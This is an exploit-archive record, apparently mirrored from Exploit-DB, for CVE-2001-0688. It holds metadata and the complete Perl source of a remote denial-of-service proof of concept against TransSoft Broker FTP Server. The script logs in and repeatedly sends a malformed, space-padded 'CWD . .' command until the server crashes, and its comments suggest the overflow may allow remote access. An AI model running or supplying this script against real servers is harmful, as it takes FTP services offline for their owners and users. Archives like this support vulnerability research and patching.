{"exploit":{"id":"EDB-20910","name":"TransSoft Broker FTP Server 3.0/4.0/4.7/5.x - CWD Buffer Overflow","description":"TransSoft Broker FTP Server 3.0/4.0/4.7/5.x - CWD Buffer Overflow","cves":["CVE-2001-0688"],"author":"byterage","published":"2001-06-10","platform":"windows","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20910","path":"exploits/windows/remote/20910.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20910.pl","vulnerabilities":[{"id":"CVE-2001-0688","state":"PUBLISHED","title":null,"titleSource":null,"description":"Broker FTP Server 5.9.5.0 allows a remote attacker to cause a denial of service by repeatedly issuing an invalid CD or CWD (\"CD . .\") command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0688","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0688"},"updatedAt":"2024-08-08T04:30:06.061Z","retrievedAt":"2026-11-27T09:26:07.484Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20910.png?v=2","url":"https://exploitbin.com/exploits/EDB-20910","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20910/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20910/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2851/info\n\n# Broker is a Windows FTP server from TransSoft.\n\n# Versions of Broker are vulnerable to a denial of service.\n\n# A CD or CWD command, argumented by an invalid '. .' (dot-space-dot) sequence can, if repeatedly issued, create a buffer overflow causing the server to halt, requiring a restart.\n\n# The extent of this issue's exploitability is currently unverified.\n\n\n# Broker FTP Server 5.9.5.0 DoS proof of concept\n#\n# Syntax : perl brokerdos.pl <host> <port> <loginid> <loginpwd>\n# Impact : eventually causes an access violation in the TSFTPSRV process\n#          the buffer overflow might be exploitable and be used to gain access\n#          to the FTP Server hostcomputer.\n#\n# by [ByteRage] <byterage@yahoo.com>\n# www.byterage.cjb.net (http://elf.box.sk/byterage/)\n\nuse IO::Socket;\n\n$loginid = \"anonymous\";\n$loginpwd = \"anonymous\";\n\nif (!($host = $ARGV[0])) { $host = \"127.0.0.1\"; } print \"Logging on @ $host:\";\nif (!($port = $ARGV[1])) { $port = \"21\"; } print \"$port\\n\\n\";\nif (!($loginid = $ARGV[2])) { $loginid = \"anonymous\"; }\nif (!($loginpwd = $ARGV[3])) { $loginpwd = \"anonymous\"; }\n\n$SOCK = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>$host, PeerPort=>$port) || die \"Couldn't create socket !\"; $SOCK->autoflush();\n\n# get daemon banner\n$reply = \"\";\nsysread($SOCK, $reply, 2000);\nprint $reply;\n# login\nsyswrite $SOCK, \"USER $loginid\\015\\012\";\nsysread($SOCK, $reply, 2000);\nprint $reply;\nsyswrite $SOCK, \"PASS $loginpwd\\015\\012\";\nsysread($SOCK, $reply, 2000);\nprint $reply;\nsysread($SOCK, $reply, 2000);\nprint \"$reply\\nSending crash [\";\n\nif (substr($reply,0,1) == '2') {\n  # Login succesful, send CWD's\n  $i = 1; while ($i) {\n    $i = syswrite $SOCK, \"CWD .                                                                             .\\015\\012\";\n    print \".\";\n    sleep(1);\n  }\nprint \"]\\nSocket write failed... possible cause : Host down :(\\n\";\n}\nclose($SOCK);\nexit();","sha256":"424416b7ad52faf07a8d4b56861980dec59fa0186d546bcede3eb8d397673155","bytes":1978,"fetchedAt":"2026-11-27T09:10:23.181Z","encoding":"utf-8 (display only; download retains original bytes)"}